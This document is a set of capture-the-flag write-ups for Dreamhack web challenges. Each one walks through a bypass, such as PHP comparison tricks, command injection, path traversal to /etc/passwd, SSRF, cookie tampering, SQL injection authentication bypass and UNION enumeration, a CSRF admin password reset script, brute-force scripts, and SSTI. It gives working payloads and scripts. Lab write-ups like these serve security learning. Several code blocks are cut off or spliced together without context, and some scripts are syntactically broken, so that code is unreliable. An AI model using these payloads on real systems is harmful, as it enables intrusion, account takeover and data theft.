[Challenge](https://dreamhack.io/wargame/challenges/1113)
[Source](https://sfo2.digitaloceanspaces.com/wargame1/public/f4adadf9-c48c-451f-83f9-ec1c03f1f672.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20241227%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20241227T001853Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=da0de8de3c6b25851678d3204b6c31cb945b899b1cc1e9f257c007a91ce195d0)

For this challenge, we need to analyze string comparison in PHP, specifically in the following `script`:

```python=
 <?php
    require_once('flag.php');
    error_reporting(0);
    // POST request
    if ($_SERVER["REQUEST_METHOD"] == "POST") {
      $input_1 = $_POST["input1"] ? $_POST["input1"] : "";
      $input_2 = $_POST["input2"] ? $_POST["input2"] : "";
      sleep(1);

      if($input_1 != "" && $input_2 != ""){
        if(strlen($input_1) < 4){
          if($input_1 < "8" && $input_1 < "7.A" && $input_1 > "7.9"){
            if(strlen($input_2) < 3 && strlen($input_2) > 1){
              if($input_2 < 74 && $input_2 > "74"){
                echo "</br></br></br><pre>FLAG\n";
                echo $flag;
                echo "</pre>";
              } else echo "<br><br><br><h4>Good try.</h4>";
            } else echo "<br><br><br><h4>Good try.</h4><br>";
          } else echo "<br><br><br><h4>Try again.</h4><br>";
        } else echo "<br><br><br><h4>Try again.</h4><br>";
      } else{
        echo '<br><br><br><h4>Fill the input box.</h4>';
      }
    } else echo "<br><br><br><h3>WHat??!</h3>";
    ?> 
```

We need to find the correct conditions for `input_1` and `input_2` to obtain the flag, specifically by converting the string to ASCII.

```
input_1 < "8"          <=>       input_1 < 56
input_1 < "7.A"        <=>       input_1 < 55 46 65
input_1 > "7.9"        <=>       input_1 > 55 46 57
```

If the beginning of the strings is equal, the comparison will proceed from the next part onward.

we can have 

```
56 46 65 > input_1 > 55 46 57    <=> 56 46 65 > 55 46 [58-64] > 55 46 57

=> input_1 = 55 46 [58-64], I used 55 46 58 (7.:)
```

```
input_2 < 74      <=>    input_2 < 74 
input_2 > "74"    <=>    input_2 > 55 52

=> 74 > input_2 >  55 52 
=> input_2 = [56-73] [53-...], I used 56 53 (8Z)
```
```
input_1=7.:&input_2=8Z
```

In this challenge, we need to bypass PHP's string replacement function. 

```python=
<?php
          // POST request
          if ($_SERVER["REQUEST_METHOD"] == "POST") {
            $input_name = $_POST["input1"] ? $_POST["input1"] : "";
            $input_pw = $_POST["input2"] ? $_POST["input2"] : "";

            // pw filtering
            if (preg_match("/[a-zA-Z]/", $input_pw)) {
              echo "alphabet in the pw :(";
            }
            else{
              $name = preg_replace("/nyang/i", "", $input_name);
              $pw = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw);
              
              if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") {
                echo '<h4>Step 2 : Almost done...</h4><div class="door_box"><div class="door_black"></div><div class="door"><div class="door_cir"></div></div></div>';

                $cmd = $_POST["cmd"] ? $_POST["cmd"] : "";

                if ($cmd === "") {
                  echo '
                        <p><form method="post" action="/step2.php">
                            <input type="hidden" name="input1" value="'.$input_name.'">
                            <input type="hidden" name="input2" value="'.$input_pw.'">
                            <input type="text" placeholder="Command" name="cmd">
                            <input type="submit" value="제출"><br/><br/>
                        </form></p>
                  ';
                }
                // cmd filtering
                else if (preg_match("/flag/i", $cmd)) {
                  echo "<pre>Error!</pre>";
                }
                else{
                  echo "<pre>--Output--\n";
                  system($cmd);
                  echo "</pre>";
                }
              }
              else{
                echo "Wrong nickname or pw";
              }
            }
          }
          // GET request
          else{
            echo "Not GET request";
          }
      ?>
```

We have the case where `name` will replace the string `nyang` with `""`, and `pw` will replace the `alphabetic` expression with `d4y0r50ng`. The condition to execute the `command` is 
```
name = "dnyang0310" 
pw = "d4y0r50ng+1+13"
```
From here, we will analyze further.

```
$name = preg_replace("/nyang/i", "", $input_name);
 
Here, if the string "nyang" appears in the name field, it will be replaced with an empty string. Therefore, the basic customization approach is to include it in the middle so that when it is removed, the remaining string will be correct.
=> name = "dnynyangang0310" After passing through the function, it will become "dnyang0310"

$pw = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw)

Here, we need to create a string that the replacement function will transform into the string "d4y0r50ng", as we cannot include alphabetic characters in this field due to the following code:

 if (preg_match("/[a-zA-Z]/", $input_pw)) {
              echo "alphabet in the pw :(";
            }

The condition you've provided is a regular expression pattern with the following breakdown:

\d*: Matches any sequence of digits (0 or more digits) or no digits at all.
\@: Matches the literal character @.
\d{2,3}: Matches 2 or 3 consecutive digits.
(31)+: Matches one or more occurrences of the string 31.
[^0-8\"]: Matches any character that is not a digit from 0 to 8 or the double-quote character ".
\!: Matches the exclamation mark ! at the end.

=> pw = 123@12031319!+1+13
```

We were able to access it, and at this point, there was an obstacle: reading the `flag.txt` file. If it contains the word flag, an error message would be triggered. Therefore, I used `cat *`` to attempt displaying the contents of all files in the dream directory, and I was successful.

```
cmd = cd ../dream; cat *
```

## Flying Chars

[Challenge](https://dreamhack.io/wargame/challenges/850)
[Source](https://sfo2.digitaloceanspaces.com/wargame1/public/be97a9ea-f458-4c85-ad51-da780b7d5748.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20241227%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20241227T043502Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=3b7b55a84d723b9d91b965b190e0770003d8cc58458687598aa3f6546953d1a8)

In this challenge, the information about the letters moves quickly. I opened the `developer tools` and examined the `source`, where I found many images labeled from [0-19], which represent the letters. I used the arrangement in the source code to extract the letters.

![pic2](https://hackmd.io/_uploads/B1JBrfhBkg.png)

```python=
  <script type="text/javascript">
    const img_files = ["/static/images/10.png", "/static/images/17.png", "/static/images/13.png", "/static/images/7.png","/static/images/16.png", "/static/images/8.png", "/static/images/14.png", "/static/images/2.png", "/static/images/9.png", "/static/images/5.png", "/static/images/11.png", "/static/images/6.png", "/static/images/12.png", "/static/images/3.png", "/static/images/0.png", "/static/images/19.png", "/static/images/4.png", "/static/images/15.png", "/static/images/18.png", "/static/images/1.png"];
    var imgs = [];
    for (var i = 0; i < img_files.length; i++){
      imgs[i] = document.createElement('img');
      imgs[i].src = img_files[i]; 
      imgs[i].style.display = 'block';
      imgs[i].style.width = '10px';
      imgs[i].style.height = '10px';
      document.getElementById('box').appendChild(imgs[i]);
    }
```

After rearranging according to the order in the source code, we have the string
```
Too_H4rd_to_sEe_th3_Ch4rs_X.X
```
And note from the challenge description to adjust the content accordingly.

```
Stop the flying letters and figure out the whole string! The flag format is DH {full string}.

❗ The problem is that attachments are not provided.
❗ Of the letters included in the flagx,,s, o are all lowercase letters.
❗ All alphabets included in the flag C are capital letters.
```

In this challenge, we just need to bypass the condition to obtain the `flag`

```python=
#!/usr/bin/python3
from flask import Flask, request, render_template
import re

app = Flask(__name__)

try:
    FLAG = open("./flag.txt", "r").read()       # flag is here!
except:
    FLAG = "[**FLAG**]"

@app.route("/", methods = ["GET", "POST"])
def index():
    input_val = ""
    if request.method == "POST":
        input_val = request.form.get("input_val", "")
        m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val)
        if m:
            return render_template("index.html", pre_txt=input_val, flag=FLAG)
    return render_template("index.html", pre_txt=input_val, flag='?')

app.run(host="0.0.0.0", port=8000)
```

```
m = re.match(r'dr\w{5,7}e\d+am@[a-z]{3,7}\.\w+', input_val)

Condition:
dr: The string must start with dr.
\w{5,7}: Followed by 5 to 7 alphanumeric characters (including underscores) from [a-zA-Z0-9_].
e: Followed by the character e.
\d+: Followed by at least one digit.
am@: Followed by the literal string am@.
[a-z]{3,7}: Followed by 3 to 7 lowercase letters from a to z.
.\w+: Followed by a dot (.) and at least one alphanumeric character or underscore from [a-zA-Z0-9_].

=> m = draaaaaae123am@abcd.d

In this challenge, we need to pass two authentication steps to get the flag.

Here, we need to pass by filling in the information as shown in the `source` code.

```python=
@app.route("/step1", methods=["GET", "POST"])
def step1():

    #### 풀이와 관계없는 치팅 방지 코드
    global step1_num
    step1_num = int.from_bytes(os.urandom(16), sys.byteorder)

In step 2, two values will be received and authenticated at `/flag`. As in the previous step, we just need to follow the correct conditions to get the `flag`

```python=
@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html", flag_txt="Not yet")

                prm1 = request.form.get("param", "")
                prm2 = request.form.get("param2", "")
                if prm1 == "pooost" and prm2 == "requeeest":
                    return render_template("flag.html", flag_txt=FLAG)
                else:
                    return redirect(url_for("step2", prev_step_num = str(step1_num)))
            return render_template("flag.html", flag_txt="Not yet")

In this challenge, we need to modify the value of the sessionid to match the value for `admin` in order to get the `flag`. In the code, the main function has restricted the sessionid to `1 byte hex` for `admin`. Therefore, I wrote a script to `brute-force` each `1-byte hex` and then replace it to retrieve the returned data.

`script` 

```python=
import requests

## Carve Party

[Source](https://sfo2.digitaloceanspaces.com/wargame1/public/ef94cca3-830e-41e0-b929-30648719df0c.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20241227%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20241227T114943Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=8b5debf5f201c7eb9a2060d1cb4dbfa87b368eff2dd84fd343d10d8be0e071c7)

Since the challenge doesn't create a web interface, I think the `flag` is embedded in the source code. Indeed, if we pay close attention, we can see an array `pumpkin` and `pie` performing `XOR` operations and altering the values. I wrote a script to decode and print the data, and successfully obtained the `flag`

`script`

```python=
pumpkin = [ 124, 112, 59, 73, 167, 100, 105, 75, 59, 23, 16, 181, 165, 104, 43, 49, 118, 71, 112, 169, 43, 53]
pie = 1

for cnt in range(10000):
    if cnt <=10000 and cnt %100 ==0:
        for i in range(len(pumpkin)):
            pumpkin[i] ^= pie
            pie = ((pie^0xff) + (i*10)) & 0xff
flag = ''.join([chr(i) for i in pumpkin])
print(flag)
#DH{I_lik3_pumpk1n_pi3}
```

## command-injection-1

[Challenge](https://dreamhack.io/wargame/challenges/44)
[Source](https://sfo2.digitaloceanspaces.com/wargame1/public/bab8d6f6-f766-4ddc-91dd-ed9eed1504ed.zip?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=OIK4A6AORYFTHBTQUV55%2F20241227%2Fsfo2%2Fs3%2Faws4_request&X-Amz-Date=20241227T112611Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=576220bc2637a3c5fb3b605dbd6c3d806c961f9a9745f7620e12740674c202a7)

In this challenge, we will `exploit the command injection` vulnerability to attack by concatenating and splitting commands using appropriate logic.

```python=
#!/usr/bin/env python3
import subprocess

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)


@APP.route('/')
def index():
    return render_template('index.html')


@APP.route('/ping', methods=['GET', 'POST'])
def ping():
    if request.method == 'POST':
        host = request.form.get('host')
        cmd = f'ping -c 3 "{host}"'
        try:
            output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
            return render_template('ping_result.html', data=output.decode('utf-8'))
        except subprocess.TimeoutExpired:
            return render_template('ping_result.html', data='Timeout !')
        except subprocess.CalledProcessError:
            return render_template('ping_result.html', data=f'an error occurred while executing the command. -> {cmd}')

    return render_template('ping.html')


if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000)
```

Typically, Linux commands are separated by characters like `;`, `|`, `&`, and newline `\n`. However, in this case, we face a challenge because the host input is regulated by a regex in the `ping.html` file, and the host is enclosed within double quotes `""`. Therefore, we will exploit this by bypassing the input validation pattern and using commands to separate and execute.

```
cmd = ping -c 3 "{host}" 
if host = 1.1.1.1
=> cmd = ping -c 3 "1.1.1.1"
exploit:
host = 1.1.1.1"; ls # 
=> cmd = ping -c 3 "1.1.1.1"; ls #"
The # symbol in Linux marks the start of a comment, so any characters following it will be ignored.
```

Note: Remove pattern="[A-Za-z0-9.]{5,20}" in the developer tools to bypass input validation.

This challenge involves `file upload` and `path traversal`. To exploit it, we need to create a file and attempt to leverage these vulnerabilities.

```python=
    #!/usr/bin/env python3
import os
import shutil

from flask import Flask, request, render_template, redirect

from flag import FLAG

APP = Flask(__name__)

UPLOAD_DIR = 'uploads'


@APP.route('/')
def index():
    files = os.listdir(UPLOAD_DIR)
    return render_template('index.html', files=files)


@APP.route('/upload', methods=['GET', 'POST'])
def upload_memo():
    if request.method == 'POST':
        filename = request.form.get('filename')
        content = request.form.get('content').encode('utf-8')

        if filename.find('..') != -1:
            return render_template('upload_result.html', data='bad characters,,')

        with open(f'{UPLOAD_DIR}/{filename}', 'wb') as f:
            f.write(content)

        return redirect('/')

    return render_template('upload.html')


@APP.route('/read')
def read_memo():
    error = False
    data = b''

    filename = request.args.get('name', '')

    try:
        with open(f'{UPLOAD_DIR}/{filename}', 'rb') as f:
            data = f.read()
    except (IsADirectoryError, FileNotFoundError):
        error = True


    return render_template('read.html',
                           filename=filename,
                           content=data.decode('utf-8'),
                           error=error)


if __name__ == '__main__':
    if os.path.exists(UPLOAD_DIR):
        shutil.rmtree(UPLOAD_DIR)

    os.mkdir(UPLOAD_DIR)

    APP.run(host='0.0.0.0', port=8000)
```

In the code, the input field for the filename is not thoroughly validated, only checking for `..` There are still various ways to exploit this, and I have tried using: 
```
filename = %2e%2e%2f%2e%2e%2fetc%2fpasswd
```

![pic1](https://hackmd.io/_uploads/r1KtT86ryx.png)

We can see that the input is executed, and the name field in the URL is also not validated, allowing the use of `..` Therefore, after some attempts, I managed to retrieve the `flag` using `../flag.py`

```python=

    '0': {
        'userid': 'guest',
        'level': 1,
        'password': 'guest'
    },
    '1': {
        'userid': 'admin',
        'level': 9999,
        'password': 'admin'
    }
}

def internal_api(func):
    @wraps(func)
    def decorated_view(*args, **kwargs):
        if request.remote_addr == '127.0.0.1':
            return func(*args, **kwargs)
        else:
            abort(401)
    return decorated_view

app = Flask(__name__)
app.secret_key = os.urandom(32)
API_HOST = 'http://127.0.0.1:8000'

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/get_info', methods=['GET', 'POST'])
def get_info():
    if request.method == 'GET':
        return render_template('get_info.html')
    elif request.method == 'POST':
        userid = request.form.get('userid', '')
        info = requests.get(f'{API_HOST}/api/user/{userid}').text
        return render_template('get_info.html', info=info)

@app.route('/api')
@internal_api
def api():
    return '/user/<uid>, /flag'

@app.route('/api/user/<uid>')
@internal_api
def get_flag(uid):
    try:
        info = users[uid]
    except:
        info = {}
    return json.dumps(info)

@app.route('/api/flag')
@internal_api
def flag():
    return FLAG

application = app # app.run(host='0.0.0.0', port=8000)
# Dockerfile
#     ENTRYPOINT ["uwsgi", "--socket", "0.0.0.0:8000", "--protocol=http", "--threads", "4", "--wsgi-file", "app.py"]
```

In this challenge, we need to exploit path traversal. According to the source code, the `get_info` function receives input via `userid`. The API then calls `{API_HOST}/api/user/{userid}`. Using this, I set `userid=../flag`, which results in the command `{API_HOST}/api/user/../flag`, equivalent to `{API_HOST}/api/flag`, successfully retrieving the `FLAG` variable

    return render_template('index.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:

        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            resp.set_cookie('username', username)

        return '<script>alert("wrong password");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)
```

In this challenge, we only need to modify the value of the username in the cookie to retrieve the `flag`.

This is a simple challenge involving an `SQL injection vulnerability`. By logging in with the username `admin` and crafting commands for the remaining data, you can retrieve the `flag`.

```
payload:
username = admin' or 1=1 --
password = (anythings u want)
```

In this challenge, a vulnerability in command injection was exposed in the `user_ip` variable that the system retrieves. Using this, I added an `X-Forwarded-For` field to inject an IP and a command.

In this challenge, we see that there is a `cmd_input` variable without an input form, so we need to use `Burp Suite` to exploit it.

![pic1](https://hackmd.io/_uploads/ryUVU4b81l.png)

However, at this point, it became quite challenging to further exploit the command injection vulnerability, so I focused on the part of the code related to the `TimeoutExpired error`

```python=
try:
    output = subprocess.check_output(['/bin/sh', '-c', cmd], timeout=5)
    return render_template('flag.html', txt=output.decode('utf-8'))
except subprocess.TimeoutExpired:
    return render_template('flag.html', txt=f'Timeout! Your key: {KEY}')
except subprocess.CalledProcessError:
    return render_template('flag.html', txt="Error!")
```

If `cmd_input` is inserted and exceeds the 5-second timeout for execution, it will trigger the `TimeoutExpired` error and print out the key. So, I set `cmd_input = "sleep 10"` to exploit this.

![pic2](https://hackmd.io/_uploads/HJEdwVZLke.png)

Now that we have the `key` for the `FLAG`, we just need to input it into the key field to retrieve the `flag`

![pic3](https://hackmd.io/_uploads/H1nxONZUkg.png)

`script`

```python=
import requests
import hashlib
import string

url = "http://host1.dreamhack.games:13548/"

# input_data = {
#     "key": hashlib.md5(b"a").hexdigest(),
#     "cmd_input": "sleep 10"
# }
#key = 409ac0d96943d3da52f176ae9ff2b974

input_data = {
    "key": "409ac0d96943d3da52f176ae9ff2b974",
    "cmd_input": ""

req = requests.post(url+"flag", data=input_data)

    return render_template("index.html")

`init.sql`

```python
CREATE DATABASE secret_db;
GRANT ALL PRIVILEGES ON secret_db.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `secret_db`;
CREATE TABLE users (
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null,
  descr varchar(128) not null
);

INSERT INTO users (uid, upw, descr) values ('admin', 'apple', 'For admin');
INSERT INTO users (uid, upw, descr) values ('guest', 'melon', 'For guest');
INSERT INTO users (uid, upw, descr) values ('banana', 'test', 'For banana');
FLUSH PRIVILEGES;

CREATE TABLE fake_table_name (
  idx int auto_increment primary key,
  fake_col1 varchar(128) not null,
  fake_col2 varchar(128) not null,
  fake_col3 varchar(128) not null,
  fake_col4 varchar(128) not null
);

INSERT INTO fake_table_name (fake_col1, fake_col2, fake_col3, fake_col4) values ('flag is ', 'DH{sam','ple','flag}');
```

We see that the columns and table names containing the `flag` are hidden, and the vulnerability in this challenge is `SQL injection`, which is clearly present in app.py because the `uid` and `upw` fields are not properly validated. I used `1' ORDER BY n-- -` and incremented n to check how many columns there were. When `n=5` caused an error, I deduced that there are a maximum of 4 columns. Then, I used the following payload to display the tables in `secret.db`

![pic1](https://hackmd.io/_uploads/H1Zq1Hb8yx.png)

`output` of
```
1' UNION SELECT NULL, NULL, NULL, table_name FROM information_schema.tables WHERE table_schema = 'secret_db'-- -
```

![pic2](https://hackmd.io/_uploads/Skoker-Ikg.png)

The name of the table containing the `flag` is `onlyflag`

`payload`

```
1' UNION SELECT NULL, NULL, NULL, column_name FROM information_schema.columns WHERE table_name = 'onlyflag'-- -
```

![pic3](https://hackmd.io/_uploads/Hka_lBbL1g.png)

The columns containing the `flag` are `sname`, `svalue`, `sflag`, `sclose`

In this challenge, we just need to understand the conversion between strings and the int type to exploit it. Specifically, when a string is converted to an int, it becomes the leading number in the string, or 0 if the first character is a letter.

```
sha('1') = 356a192b7913b04c54574d18c28d46e6395428ab = $pw
=> (int)$input_pw == 356

=> input_id = aaaaaaaaaa & input_pw = 356aaaaa

In this challenge, we need to write a script to `brute-force` the information to get the `flag`. However, brute-forcing both fields would take a very long time, so I attacked one field first to reduce the time. Pay attention to the line of code that returns `Good` when only the `locker_num` is correct

```python=
import requests
import string

url = "..." 
locker_num = ""

alphanumeric = string.ascii_lowercase + string.digits

#bruteforce locker_num
for i in range(4):
    for j in alphanumeric:
        test = locker_num + j
        data = {
            "locker_num": test,
            "password": ""
        }
        res = requests.post(url, data=data)
        if "Good" in res.text:
            locker_num = test
            print(f"Found locker_num: {locker_num}")
            break
#result = xd0j

#bruteforce password
for i in range(100,201):
    data = {
        "locker_num": "xd0j"
        "password": i
    }
    res = requests.post(url, data=data)
    if "DH" in res.text:
        print(res.text)
        break

```

        return '<script>alert("wrong");history.go(-1);</script>'

app.run(host='0.0.0.0', port=8000)
```

In this challenge, we just need to insert a simple payload to get the `flag`

`payload`

```
0' ORDER BY 1 -- -
```

The `ORDER BY` will rearrange the `first column`, so the query essentially retrieves information where userlevel is `0` and then sorts the values in the first column. As a result, after sorting, `userid[0]` will be admin because it has been `ordered`. This satisfies the condition and outputs the `flag`

In this challenge, we need to inject a payload to reset the `admin's password` in order to obtain the `flag`. Based on the main source code, we also need to include the csrftoken variable for `authentication`, as it identifies the user, and this token is generated by

```
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
```

Accordingly, we just need to spoof as the `admin` with the `IP` set to `127.0.0.1` and use this data to send a request to the `/change_password` endpoint to reset the `admin's password`. Then, log in again to retrieve the `flag`.

`script`

```python=
import requests
from hashlib import md5

url = "..."

csrf_token = md5(("admin" + "127.0.0.1").encode()).hexdigest()

payload = '''<img src="/change_password?pw=123&csrftoken={csrf_token}">'''

data = {'param': payload}
res = requests.post(url+'flag',data=data)

data2 = {'username':'admin', 'password':'123'}
res2 = requests.post(url+'login', data=data2)

print(res2.text)
```

`app.py`

```python
from flask import Flask, request, render_template_string
import re
import unicodedata

app = Flask(__name__)

# 페이지에서 사용자 입력을 출력하는 부분
@app.route("/", methods=["GET", "POST"])
def index():
    message = ""
    if request.method == "POST":
        message = request.form["message"]
        if re.search("[a-zA-Z]", message):
            message = "한글을 사용합시다!"
        for i in "!@#$%^&*=;,<>?1234567890":
            if i in message:
                message = "해킹을 하지 맙시다!"
        message = unicodedata.normalize("NFKC", message)    # for normalize Windows and Mac Hangul implementation
    return render_template_string('''
        <form method="POST">
            입력: <input type="text" name="message">
            <input type="submit">
        </form>
        <p>출력:</p>
        <div>%s</div>
    ''' % message)

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000)
```

According to th code, we can see a typical `SSTI vulnerability` in the `render_template_string()` function by returning the result of the input string directly. However, we can also see that normal Latin characters are blocked via `if re.search("[a-zA-Z]", message)`, and digits and special characters are blocked via `for i in "!@#$%^&*=;,<>?1234567890"`. Therefore, a way to bypass this is by using [fullwidth](https://lingojam.com/FullWidthTextGenerator) charactor.
